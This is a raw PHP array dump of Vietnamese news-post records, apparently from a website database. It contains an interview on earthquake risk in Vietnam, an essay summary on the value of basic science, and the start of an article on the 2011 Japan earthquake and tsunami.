nghiên cứu thấy vùng ven biển Nam Trung bộ trong thời gian trước năm 2005 gần như không quan trắc thấy động đất nhưng từ năm 2005 trở lại đây đã xuất hiện động đất nhiều. Đấy là bắt đầu thời kỳ hoạt động trở lại của động đất.</div> <div> </div> <div> <strong>* Liệu có phải đó là dấu hiệu sẽ xuất hiện động đất mạnh tại VN?</strong></div> <div> </div> <div> - Theo nghiên cứu của chúng tôi, có thể đến năm 2015 sẽ có nguy cơ lớn xảy ra động đất mạnh dưới 7 độ Richter ở Tây Bắc. Đây là kết quả nghiên cứu dự báo động đất trung hạn (thời gian từ 5-10 năm). </div> <div> </div> <div> Nhược điểm của dự báo trung hạn là chỉ dự báo được trong một khoảng thời gian dài và trong một vùng tương đối rộng, không chính xác được điểm nào. Ví dụ muốn nghiên cứu cho vùng Tây Bắc thì phải nghiên cứu sang cả Lào. Còn dự báo ngắn hạn có thể chính xác hơn về vị trí nhưng VN chưa làm được.</div> <div> </div> <div> <strong>* Động đất mới đây tại Nhật Bản đã vượt qua dự báo của các nhà khoa học Nhật Bản, vậy các nhà khoa học VN đặt vấn đề xem lại dự báo động đất cực đại tại VN như thế nào?</strong></div> <div> </div> <div> - Theo kết quả nghiên cứu được công bố chính thức của Viện Vật lý địa cầu, động đất cực đại tại VN có thể đạt tới 7-7,5 độ Richter đối với khu vực đứt gãy sông Cả (ven biển Nghệ An). Khu vực Tuần Giáo (Lai Châu) có thể xảy ra động đất 7 độ Richter. Đến nay VN vẫn chưa có trận động đất nào mạnh hơn mức các nhà khoa học dự báo.</div> <div> </div> <div> Nếu mức độ xảy ra trong giới hạn đã dự báo thì không cần thay đổi dự báo, chỉ khi nào động đất xảy ra vượt qua mức đấy thì phải xem xét, đánh giá lại để có thể có kết luận mới về động đất cực đại. Tuy nhiên, trận động đất tại Sumatra năm 2004 là siêu động đất, đã vượt qua dự báo của các nhà khoa học. Trận động đất ở Nhật Bản hôm 11-3 cũng vượt qua dự báo, gây ra sóng thần cao đến 11,5m. Vì thế, chúng ta cũng phải nhìn nhận lại. Các nhà khoa học cần phải tiếp cận những phương pháp mới hơn để cho ra kết quả tốt hơn.</div> <div> </div> <div> <strong>* Nghĩa là rất cần thiết phải xem lại động đất cực đại tại VN?</strong></div> <div> </div> <div> - Những kết luận chúng ta đưa ra về động đất cực đại trước đây chỉ phản ánh thực tế trình độ khoa học của VN lúc đó nên chúng ta không thể dừng ở đó được. Từ năm 2004 chúng tôi đã tiến hành khảo sát động đất cổ, sóng thần cổ tại VN. Qua quá trình khảo sát, đánh giá động đất cổ trên đứt gãy Phong Thổ (Lai Châu), chúng tôi nghi ngờ cách đây khoảng 480-530 năm từng xảy ra động đất mạnh 8 độ Richter trên đứt gãy này. Hay qua nghiên cứu chúng tôi nghi ngờ từng có sóng thần xảy ra cách đây 3.900-4.100 năm tại vùng ven biển Nghệ An với độ cao của sóng khi vào đến bờ từ 10-15m, tức là phải có động đất mạnh ngoài biển. Nhưng những kết luận này còn cần phải được chứng minh chắc chắn, được khẳng định thì mới công bố và điều chỉnh lại các kết quả nghiên cứu của giai đoạn trước.</div> <div> </div> <div> <strong>* Cơ sở nào để các nhà khoa học nghi ngờ có động đất cổ xảy ra tại Phong Thổ mạnh tới 8 độ Richter?</strong></div> <div> </div> <div> - Chúng tôi phát hiện những sạt lở rất lớn và thấy rằng chúng chỉ có thể xảy ra trong trạng thái bị tác động đột ngột chứ không phải sạt lở thông thường. Các sạt lở này cũng chỉ có thể được gây nên bởi một trận động đất mạnh. Qua tính toán, chúng tôi nghi ngờ có thể đã xảy ra động đất mạnh 8 độ Richter.</div> <div> </div> <div> <strong>* Các kết luận trước đây về động đất tại VN có đáng tin cậy không?</strong></div> <div> </div> <div> - VN có trạm quan trắc động đất đầu tiên vào năm 1924 tại Đài vật lý địa cầu Phủ Liễn nhưng năm 1944 trạm đã bị phá hủy do chiến tranh. Năm 1957 trạm mới được khôi phục. Năm 1961 đặt thêm trạm ở Sa Pa. Năm 1967 có thêm trạm ở Bắc Giang. Sau năm 1975 mới hình thành mạng lưới trạm quan trắc. Đến nay cả nước có 24 trạm. Do hệ thống trạm quan trắc hình thành muộn nên đến giờ chúng ta mới quan trắc được động đất mạnh nhất là 6,7 độ Richter xảy ra tại Tuần Giáo năm 1983. Do đó, có thể nói số liệu quan trắc động đất của VN yếu và chỉ trong thời gian ngắn trong khi chu kỳ động đất ở VN có thời kỳ yên tĩnh rất dài.</div> <div> </div> <div> Về tư liệu lịch sử, chúng ta cũng chỉ có hơn 100 tư liệu ghi lại động đất xảy ra trong quá khứ, trong đó có những tư liệu chúng tôi đánh giá đã có động đất mạnh 6,8 độ Richter xảy ra năm 1935 tại Điện Biên. Nhưng tư liệu cha ông mình viết hơi sơ lược nên khi đánh giá về động đất cực đại ở VN vẫn cần phải xem xét cẩn thận hơn.</div> ', 'images' => '201606210641583637d3fd9b55ccec2ee694e7e450cd6d.jpg', 'images_multi' => null, 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2016-06-21', 'modified' => '2025-08-18', 'status' => '1', 'view' => '108261', 'slug' => 'vn-tung-co-dong-dat-den-8-do-richter', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '721', 'rght' => '722', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 1 => array( 'Post' => array( 'id' => '415', 'name' => 'Vai trò của khoa học cơ bản?', 'code' => null, 'alias' => 'vai-tro-cua-khoa-hoc-co-ban', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '', 'content' => '<div> Hơn 200 năm trước, vào đầu năm 1782, nhà vật lý và triết học người Đức-Christof Lichtenberg đã viết trong nhật kí của mình: </div> <div> “Việc tìm ra một phương thuốc công hiệu tức thời cho những cơn đau răng có thể có giá trị chẳng kém, thậm chí còn nhiều hơn so với việc tìm ra một hành tinh mới…nhưng tôi không thể tìm thấy cách nào để bắt đầu nhật ký năm nay tốt hơn là tin tức về một hành tinh mới.”</div> <div> Hành tinh được đề cập ở đây chính là Sao Thiên Vương, phát hiện ra vào năm 1781. Vấn đề mà Lichtenberg ngụ ý là sự so sánh tương quan về mức độ quan trọng giữa việc tìm kiếm các giải pháp kĩ thuật cho các vấn đề cụ thể so với việc tìm tòi kiến thức cơ bản mới. Ngày nay, nhu cầu đặt ra và xem xét vấn đề ấy thậm chí còn cấp thiết hơn cả 200 năm về trước. </div> <div> </div> <div> <strong>1. Nghiên cứu cơ bản đối lập với nghiên cứu ứng dụng</strong></div> <div> <br /> Trong công nghiệp, thuật ngữ “nghiên cứu” thường dùng để chỉ những cải tiến với kĩ thuật đang tồn tại, tuy nhiên việc này với các nhà khoa học hàn lâm đơn thuần chỉ được coi là sự phát triển mới. Khác biệt trong quan niệm về thuật ngữ “nghiên cứu” có thể dẫn đến nhiều hiểu lầm. Trong bài này tôi dùng từ đó theo cách hiểu của các nhà khoa học hàn lâm.</div> <div> Hiểu lầm cũng xuất phát từ những giả thuyết thường gặp có tính thúc đẩy cho lợi ích mà nghiên cứu cơ bản mang lại dựa theo “mô hình tuyến tính”, trong đó nghiên cứu cơ bản kéo theo nghiên cứu ứng dụng, để rồi giúp công nghiệp phát triển và cuối cùng là sản phẩm mới. Tiến trình này đã xảy ra trong nhiều trường hợp, nhưng cũng có thể dễ dàng tìm được các trường hợp, trong đó sự tiến bộ của công nghệ lại là cái dẫn đến những tiến bộ trong nghiên cứu cơ bản, như là George Porter (nhận giải thưởng Nobel Hóa học) – người đã chỉ ra rằng “nhiệt động lực học mắc nợ động cơ hơi nước hơn cả động cơ hơi nước mắc nợ khoa học.”</div> <div> <br /> <img alt="" src="/admin/webroot/upload/image/images/2kh.jpg" style="width: 198px; height: 221px;" /><br /> </div> <div> C.H. Llewellyn Smith</div> <div> <br /> Đáng tiếc là, những trường hợp như vậy khiến một số người ủng hộ một mô hình phản tuyến tính. Ví dụ như Terence Kealey vừa mới viết một cuốn sách1 biện luận rằng sự phát triển kinh tế không chịu ảnh hưởng bất cứ thứ gì từ nghiên cứu cơ bản - và vì vậy nên không cần phải nhận được sự hỗ trợ từ Chính phủ. Ông ta chỉ ra một cách xác thực rằng sự phát triển của năng lượng hơi nước, kĩ thuật luyện kim và nhà máy dệt, các yếu tố nền tảng thúc đẩy sự khởi đầu cuộc cách mạng công nghiệp ở Anh, đều là kết quả của tri thức khoa học và các nguyên tắc cơ khí từ thời trước thế kỷ 17, và chẳng hề chịu ảnh hưởng từ bất kì điều gì đến cuộc cách mạng khoa học thế kỉ 17 (cơ học Newton, tích phân, v.v ). Điều này đúng nhưng nó không đúng với nhiều bước phát triển của công nghiệp sau này, mà tôi hi vọng là những ví dụ tôi đưa ra sau đây sẽ chứng minh được.</div> <div> Vậy nên, mối liên hệ giữa khoa học và công nghệ không phải là tuyến tính mà cũng không phải là phản tuyến tính, mà thực tế là rất phi tuyến tính, và người ta đã từng khẳng định rằng2: “nghiên cứu lịch sử những mô hình thành công đã nhiều lần chỉ ra mật độ các tác động tương hỗ giữa các ngành khoa học cơ bản (vốn ban đầu không liên quan tới nhau), công nghệ, và sản phẩm, tấp nập tới mức không thể tách rời và phân biệt, chúng là tất cả các thành phần đan quện chặt chẽ trong cùng một thực thể”. Tuy vậy có thể khẳng định một sự phân biệt trên diện rộng giữa khoa học (tri thức) và công nghệ (cái được ứng dụng từ tri thức) và giữa các hình thức khác nhau của khoa học.</div> <div> Tôi không thích thuật ngữ khoa học cơ bản và khoa học ứng dụng: xét cho cùng ai có thể nói trước cái gì là sẽ ứng dụng được? Tuy nhiên, những thuật ngữ này có thể hữu dụng nếu chúng được định nghĩa dựa trên động cơ thúc đẩy:</div> <div> Khoa học cơ bản – được thúc đẩy bằng sự ham hiểu biết. </div> <div> Khoa học ứng dụng – dành để trả lời cho những câu hỏi cụ thể.</div> <div> Từ định nghĩa này, về sau tôi sẽ biện luận rằng Chính phủ có một trách nhiệm đặc biệt để hỗ trợ cho nghiên cứu cơ bản, trong khi việc đầu tư nghiên cứu ứng dụng nhìn chung có thể nhường lại cho các doanh nghiệp. </div> <div> Tất nhiên, sự phân biệt đó luôn luôn không rõ ràng và thuật ngữ “nghiên cứu chiến lược” thỉnh thoảng được sử dụng để nói về khoa học như một phạm trù trung gian – cái tạo ra cơ hội cao trong việc tạo ra ứng dụng, cho dù có thể nó được thực hiện thuần túy chỉ để thỏa mãn sự tò mò và qua đó dẫn đến những hiểu biết nền tảng mới. Việc nghiên cứu những đặc tính của chất bán dẫn hai chiều là một ví dụ. </div> <div> </div> <div> <strong>2. Lợi ích của khoa học cơ bản</strong></div> <div> <br /> Có thể phân biệt ra bốn nhóm lợi ích, được đề cập lần lượt như sau:</div> <div> Những đóng góp cho văn hóa.</div> <div> Tiềm năng tạo ra những phát hiện có giá trị kinh tế to lớn và quan trọng trong đời sống thực tiễn. </div> <div> Những phát hiện ngoài dự kiến (spin-offs) và tác động kích thích nền công nghiệp. </div> <div> Giáo dục.</div> <div> <br /> <strong>2.1. Những đóng góp cho văn hóa.</strong></div> <div> <br /> Bob Wilson (giám đốc đầu tiên của Fermilab, một phòng thí nghiệm lớn gần Chicago dành cho vật lý hạt/máy gia tốc) khi được một Ủy ban Quốc hội hỏi rằng “Phòng thí nghiệm của anh sẽ đóng góp gì để bảo vệ nước Mỹ?”. Câu trả lời là: “Không gì cả, nhưng nó sẽ làm cho nước Mỹ đáng được bảo vệ”. Tuy nhiên, nhìn chung các nhà khoa học thường e ngại trong những cuộc tranh luận về sự đóng góp của họ đối với văn hóa, xã hội. Hiện tượng này thực ra có từ rất cổ xưa như trong đoạn đối thoại dưới đây trong cuốn Cộng hòa của Plato:</div> <div> Socrates: Chúng ta có nên coi thiên văn học là một chủ đề đáng nghiên cứu? </div> <div> Glaucon: Tôi cho là nên, hiểu biết về mùa màng, về tháng và năm, sẽ hữu ích cho mục đích quân sự, cũng như trong nông nghiệp và hàng hải.</div> <div> Socrates: Tôi thấy thú vị khi thấy ông e ngại như thế nào, vì sợ rằng mọi người sẽ kết tội ông đã đề nghị nghiên cứu những thứ không có ích lợi gì.</div> <div> Tôi cho rằng các nhà khoa học phải đưa ra các luận điểm có sức thuyết phục về sự đóng góp của khoa học trong thúc đẩy văn hóa. Cụ thể như những kiến thức về hệ Mặt trời, mã di truyền, Mặt trời làm việc như thế nào, tại sao bầu trời lại có màu xanh và sự mở rộng của Vũ trụ làm cách nhìn của chúng ta thay đổi, cuộc sống của chúng ta phong phú lên. Chúng ta cần làm cho mọi người thấy việc phổ cập hóa vật lý hạt cơ bản là có ích không chỉ về kinh tế mà còn về văn hóa, từ đó thuyết phục mọi người rằng nên tiếp tục khám phá biên giới này của tri thức. </div> <div> <br /> <strong>2.2 Tiềm năng tạo ra những phát hiện có giá trị kinh tế to lớn và quan trọng trong đời sống thực tiễn.</strong></div> <div> <br /> Không quá khó để chỉ ra rằng chi phí cho khoa học cơ bản thường dẫn đến những phát hiện có giá trị kinh tế to lớn và quan trọng trong đời sống thực tiễn, có khả năng sinh lợi cao và có thể dễ dàng bồi hoàn chi phí đầu tư. Casimir - nhà vật lý lý thuyết nổi tiếng, cựu Giám đốc Nghiên cứu của Philips đã đưa ra một danh sách các ví dụ tuyệt vời3:</div> <div> “Tôi đã được nghe nói rằng vai trò của nghiên cứu hàn lâm trong các cải tiến kỹ thuật là rất ít. Đây là luận điểm ngớ ngẩn nhất trong những điều vô nghĩa nhất mà tôi được biết. Chắc chắn một ai đó suy đoán vẩn vơ rằng liệu tranzito có phải do những người không được đào tạo và không đóng góp gì cho cơ học sóng hay thuyết lượng tử chất rắn tìm thấy. Sự thật là những người phát hiện ra tranzito đều nghiên cứu sâu và có nhiều đóng góp tới thuyết lượng tử chất rắn.</div> <div> Một ai đó có thể hỏi liệu rằng các mạch cơ bản trong máy tính có phải được tìm thấy bởi những người chủ tâm muốn xây dựng máy tính. Đúng là như vậy, chúng đã được phát kiến vào những năm 30 bởi những nhà vật lý muốn đếm các hạt cơ bản bởi vì họ quan tâm đến vật lý hạt nhân.</div> <div> Một ai đó có thể hỏi rằng liệu năng lượng hạt nhân được khám phá bởi vì có những người muốn một nguồn năng lượng mới, hay sự thôi thúc có năng lượng mới đã dẫn đến việc tìm ra hạt nhân. Có thể - nhưng nó đã không xảy ra như vậy.</div> <div> Một ai đó hỏi rằng liệu ngành công nghiệp điện tử có thể tồn tại mà không có những khám phá về electron của những người như Thomson và H.A. Lorentz. Một lần nữa, nó đã không xảy ra như vậy. </div> <div> Tôi nghĩ thật hầu như không có một ví dụ nào của những cải tiến trong thế kỷ 20 mà không mắc nợ khoa học cơ bản.”</div> <div> Những ví dụ của Casimir có một số đặc điểm chung :</div> <div> Những ứng dụng của kiến thức mới có lợi nhuận cao.</div> <div> Những ứng dụng hoàn toàn không được nhìn thấy khi các phát hiện nền tảng được khám phá.</div> <div> Có một khoảng thời gian dài giữa những khám phá nền tảng và những ứng dụng.</div> <div> Nhìn chung các nhà phát minh trong khoa học cơ bản không trở nên giàu có.</div> <div> Đã có một số cố gắng nhằm lượng hóa lợi ích to lớn từ các nghiên cứu nền tảng. Tôi sẽ đề cập 2 ví dụ:</div> <div> 1. Một nghiên cứu gần đây của Tổ chức Khoa học Quốc gia Hoa Kỳ cho thấy rằng 73% các bài báo trích dẫn trong các bằng sáng chế công nghiệp là các nghiên cứu được công bố một cách công cộng, mà phần đông là những bài báo nghiên cứu cơ bản được thực hiện bởi những trường đại học hàng đầu và các phòng thí nghiệm của Chính phủ. 2. Một nghiên cứu có nhiều trích dẫn bởi Mansfield5 vào năm 1991 đã chỉ ra rằng đầu tư của cộng đồng vào khoa học cơ bản có tỉ lệ lợi nhuận là 28%. Con số của Mansfield được lấy ra từ 75 hãng lớn nhất ở Mỹ trong 7 ngành công nghiệp (xử lý thông tin, thiết bị điện, hóa học, dụng cụ, dược phẩm, kim loại và dầu mỏ). Từ ban điều hành nghiên cứu và phát triển của các công ty, Mansfield đã thu thập được thông tin về những sản phẩm mới, sản phẩm được thương mại hóa trong giai đoạn 1975- 1985, mà theo các ban điều hành cho biết thì các sản phẩm này đã không thể ra đời (hoặc chậm hơn rất nhiều) nếu không có các nghiên cứu hàn lâm được thực hiện trong khoảng 15 năm trước khi sáng kiến đầu tiên được công bố. </div> <div> <br /> <strong>2.3. Những phát hiện ngoài dự kiến (spin-offs) và tác động kích thích nền công nghiệp</strong></div> <div> <br /> Với khái niệm những phát hiện ngoài dự kiến, tôi muốn nói về các thiết bị và kĩ thuật được phát triển để tiến hành các nghiên cưu cơ bản nhưng sau này người ta nhận ra cả những lợi ích khác nữa. Tôi đưa ra vài ví dụ từ vật lý hạt cơ bản (nhiều trong chúng có sự đóng góp từ vật lý hạt nhân):</div> <div> Máy gia tốc ( ngày nay có khoảng 10000 máy gia tốc trên thế giới, chỉ có 100 cái trong số đó sử dụng cho mục đích nghiên cứu ban đầu trong vật lý hạt nhân và vật lý hạt cơ bản).</div> <div> - Ngành công nghiệp bán dẫn. </div> <div> - Thức ăn tiệt trùng, y tế, rác thải.</div> <div> - Xử lý bức xạ. </div> <div> - Liệu pháp điều trị ung thư. </div> <div> - Tiêu hủy rác thải hạt nhân. </div> <div> - Thí nghiệm không phá mẫu. </div> <div> - Sản xuất năng lượng (máy khuếch đại năng lượng)</div> <div> - Nguồn cho bức xạ synchrotron (sinh học, vật lý chất ngưng tụ…)</div> <div> - Nguồn cho của Notron ( sinh học, vật lý chất ngưng tụ…)</div> <div> Máy dò hạt.</div> <div> - Máy dò tinh thể</div> <div> (Tinh thể phát triển cho những thí nghiệm ở máy va đập LEP tại CERN mà bây giờ được dùng cho ảnh y tế ở hàng trăm bệnh viện, những tinh thể sẽ thay thế chúng với những đặc tính ưu việt hơn hiện thời vẫn đang được phát triển cho máy LHC tại CERN)</div> <div> - Ảnh y tế</div> <div> - An ninh</div> <div> - Thí nghiệm không phá mẫu</div> <div> - Phục vụ nghiên cứu</div> <div> - Ổ tỉ lệ đa đường dây</div> <div> - Kiểm tra container</div> <div> - Phục vụ nghiên cứu</div> <div> - Máy dò chất bán dẫn</div> <div> - Rất nhiều ứng dụng trong giai đoạn phát triển.</div> <div> Khoa học thông tin</div> <div> +WWW( Một nhóm ở Anh mới đây đã nhận định rằng Web tạo ra 5% doanh thu của các công ty lớn và sẽ tăng lên đến 20% vào cuối thập niên)</div> <div> + Chương trình mô phỏng</div> <div> + Phát hiện lỗi</div> <div> + Hệ điều hành</div> <div> + Kích thích tính toán song song.</div> <div> - Chất siêu dẫn</div> <div> Ảnh cộng hưởng từ hạt nhân</div> <div> Những ứng dụng khác ( kỹ thuật làm lạnh, chân không, kĩ thuật điện, trắc địa…)</div> <div> Có lúc dường như mọi người nghĩ rằng có một danh sách dài các phát kiến từ vật lý hạt cơ bản đủ để chứng minh chi phí cho vật lý cơ bản. Song chứng minh được không phải điều dễ dàng. Tuy nhiên, chắc chắn có thể khẳng định rằng giá trị của những ứng dụng ngoài dự kiến phải được tính tới khi cân nhắc các khoản chi phí cho khoa học cơ bản, và có lẽ đúng là những nhu cầu đặc biệt của ngành vật lý hạt cơ bản, đòi hỏi thiết bị vô cùng tối tân, đã khiến nó sản xuất ra nhiều ứng dụng ngoài dự kiến. Trong thực tế, nhìn chung các nhà kinh tế học ngày càng nhận ra tầm quan trọng của các ứng dụng ngoài dự kiến, đặc biệt là dưới dạng các công cụ được chế ra nhằm phục vụ các nghiên cứu nền tảng. Đa số các thiết bị trong một nhà máy điện tử hiện đại vốn được sinh ra từ những phòng thí nghiệm trong các trường đại học, và có rất nhiều ví dụ tương tự với các công cụ vốn sinh ra để phục vụ trong nghiên cứu vật lý, hóa học, dược học, y tế.</div> <div> Nhìn chung các nhà khoa học cơ bản đều ưu tiên công việc cho phục vụ công bố và đưa ra công khai kết quả mà họ thực hiện, trong khi các nhà khoa học ứng dụng làm việc trong ngành công nghiệp lại thúc đẩy bởi mong muốn bảo vệ, giấu kín và lấy bằng sáng chế. Như vậy có thể xảy ra nghịch lý là có nhiều ứng dụng ngoài dự kiến từ các nghiên cứu cơ bản hơn là từ nghiên cứu ứng dụng. Thậm chí trừu tượng và bí hiểm như thuyết tương đối rộng (lý thuyết của Einstein về lực hấp dẫn) cũng có tạo ra một ứng dụng ngoài dự kiến. Đó là phép lạ phục vụ việc định vị được biết đến với tên gọi là hệ thống định vị toàn cầu (GPS), nó có thể ngay lập tức tự động chỉ cho chúng ta biết vị trí và độ cao chính xác trong phạm vi 10 mét ở tất cả mọi nơi trên Trái đất. Hơn 160 nhà sản xuất khắp thế giới đang phát triển các hệ thống dựa trên công nghệ GPS trong một thị trường nhiều tỉ USD. Các hệ thống này làm việc bằng cách so sánh tín hiệu thời gian nhận được từ các vệ tinh khác nhau. Đồng hồ trong các vệ tinh là những chiếc đồng hồ nguyên tử, vốn xưa kia được tạo ra chỉ để phục vụ nghiên cứu về thuyết tương đối rộng, cụ thể là để kiểm chứng dự đoán của Einstein rằng các đồng hồ sẽ chạy khác nhau trong các trường trọng lực khác nhau. </div> <div> <br /> <strong>2.4. Giáo dục</strong></div> <div> <br /> Làm việc nghiên cứu khoa học cơ bản là một quá trình đào tạo tuyệt vời cho những người muốn sau này làm nghiên cứu ứng dụng hoặc phát triển trong công nghiệp. Hơn nữa, điều này còn tạo ra một mạng lưới liên kết giữa các nhà nghiên cứu trong các ngành công nghiệp khác nhau và trong giới hàn lâm, vốn sẽ không thể tồn tại nếu tất cả sự đào tạo diễn ra bên trong các ngành công nghiệp. Giá trị của mạng lưới ấy ngày càng được các nhà kinh tế học thừa nhận như một lợi ích xã hội đầu tư cho nghiên cứu cơ bản. </div> <div> Cụ thể như với công việc làm thí nghiệm vật lý hạt cơ bản, người ta đánh giá rằng có khoảng 300 bằng tiến sĩ được trao trên toàn thế giới mỗi năm dựa vào công việc làm ở CERN (tính tổng trong toàn bộ lĩnh vực thì có lẽ gấp 2 lần con số này), và ít nhất có một nửa số tiến sĩ đó cuối cùng sẽ làm việc trong công nghiệp hay thương mại, nơi kinh nghiệm của họ đã làm trong các dự án công nghệ cao của các nhóm đa quốc gia tại CERN sẽ trở nên vô cùng cần thiết.</div> <div> Thêm vào đó, có căn cứ cho thấy khoa học cơ bản (ví dụ như trong vật lý, cụ thể là thiên văn học và vật lý hạt cơ bản, với những từ rất quen tai như lỗ đen và hạt quark) đóng một vai trò quan trọng trong việc thu hút sự hứng thú và quan tâm của thế hệ trẻ đến khoa học và công nghệ. Điều này cực kỳ quan trọng mặc dù tác dụng sẽ rất khó được lượng hóa. </div> <div> --------------------------</div> <div> 1. The Economic Laws of Scientific Research, T. Kealey, Macmillan Press, London, 1996. </div> <div> 2. G. Holton, H. Chang và E. Jarkowitz, American Scientists 84, 364, 1996. </div> <div> 3. Trích dẫn trang 198 cuốn “The Life of Sir J.J. Thomson”, Lord Rayleigh, Cambridge University Press, 1942. </div> <div> H.G.B. Casimir, Contribution to Symposium on Technology and World Trade, US Department of Commerce, 16 November 1966.</div> <div> 4. Academic Research and Industrial Innovation, E. Mansfield, Research Policy 20, 1, 1991. </div> <div> </div> <div> THANH LOAN (lược thuật)</div> ', 'images' => '2016062008370187760659a610879e83b0cb7684dc821e.jpg', 'images_multi' => null, 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2016-06-20', 'modified' => '2025-08-18', 'status' => '1', 'view' => '66693', 'slug' => 'vai-tro-cua-khoa-hoc-co-ban-1', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '719', 'rght' => '720', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 2 => array( 'Post' => array( 'id' => '414', 'name' => 'Động đất và sóng thần: nguồn năng lượng hủy diệt', 'code' => null, 'alias' => 'dong-dat-va-song-than-nguon-nang-luong-huy-diet', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '', 'content' => '<div> Trận động đất cường độ 9 độ Richter xảy ra ngoài khơi vùng biển Đông Bắc Nhật Bản ngày 11/3/2011 và đợt sóng thần tiếp theo đó đã gây ra những thiệt hại nghiêm trọng cho đất nước Nhật Bản. Để có một khái niệm về cường độ năng lượng giải phóng, ta có thể nói là quả bom hạt nhân ném xuống Hiroshima năm 1945 chỉ tương đương với một trận động đất 5,7 độ Richter.</div> <div> <br /> <strong>Động đất</strong></div> <div> <br /> Trận động đất vừa qua ở Nhật Bản gây nhiều thiệt hại do các xung động của chính nó hay của các dư chấn mà cường độ có thể lên đến 6 độ Richter. Những thiệt hại về tài sản trên các công trình xây dựng đều rất lớn, đó là chưa kể đến thảm hoạ hạt nhân, mặc dù được hạn chế đến mức tối đa, xảy ra khi lò phản ứng Fukushima 1 bị nóng chảy tâm lò sau sự cố LOCA (mất nước làm lạnh) và gian lò bị nổ. Năm 2007, một trận động đất gây ảnh hưởng đến nhà máy điện hạt nhân Kashiwazaki-Kariwa lớn nhất ở Nhật Bản, nhưng may là người ta đã ngừng lò kịp.</div> <div> </div> <div> Trong lịch sử thế giới, các trận động đất lớn đã gây tử vong cho khoảng 6,5 triệu người, chủ yếu là ở Trung Quốc (3 triệu) và Trung Đông (1,5 triệu). Bảng 1 liệt kê 10 trận động đất lớn nhất trong thế kỷ 20 và số tử vong chúng gây ra. Trong trường hợp trận động đất ở Sumatra-Andaman năm 2004, số tử vong cao là hậu quả của đợt sóng thần lan đến nhiều nước trong vùng Ấn Độ dương. Số tử vong ở Haiti năm 2010 lên rất cao vì đây là một nước nghèo, các điều kiện bảo vệ và chống động đất quá yếu kém. Trận động đất ở Nhật Bản lần này, theo nhiều chuyên gia, có thể được xem là trận lớn thứ 5 trong lịch sử.</div> <div> <br /> Bảng 1 Mười trận động đất lớn nhất trong thế kỷ 20</div> <div> </div> <div> Năm Địa điểm Cường độ Số tử vong</div> <div> </div> <div> 2010 Haiti 7 200.000-300.000</div> <div> 2004 Sumatra-Andaman 9,3 283.100</div> <div> 1976 Đường Sơn (Trung Quốc) 7,5 255.000</div> <div> 1920 Hải Nguyên (Trung Quốc) 7,8 200.000</div> <div> 1923 Kanto (Nhật Bản) 7,9 142.800</div> <div> 1948 Ashgabat (Turkmenistan) 7,3 110.000</div> <div> 2005 Pakistan 7,6 86.000</div> <div> 1908 Messina (Ý) 7,2 72.000</div> <div> 1970 Chimbote (Pêru) 7,9 70.000</div> <div> 1990 Iran 7,4 40.000-50.000</div> <div> </div> <div> Động đất liên quan đến các mảng kiến tạo của Trái Đất và chúng xảy ra ở những nơi các mảng này tiếp xúc với nhau, ở đây có những chuyển động của vỏ Trái Đất. Nếu một mảng kiến tạo chui xuống dưới một mảng khác thì ta có hiện tượng hút chìm-nơi tích tụ nhiều năng lượng của các lực căng chỉ đợi được giải phóng ra bằng các trận động đất. Trên thế giới, người ta biết là có đến 4000 km biên giới của các vùng hút chìm và Nhật Bản nằm trên một vùng hút chìm quan trọng, nơi mảng kiến tạo Thái Bình Dương đang chìm xuống dưới nước Nhật. Tiêu điểm của trận động đất (chấn tiêu) thường nằm sâu dưới mặt đất. Từ đấy các sóng địa chấn được truyền đi và các máy ghi địa chấn có thể xác định vị trí của chấn tiêu cũng như của tâm chấn ngoài, tức là điểm trên mặt đất nằm 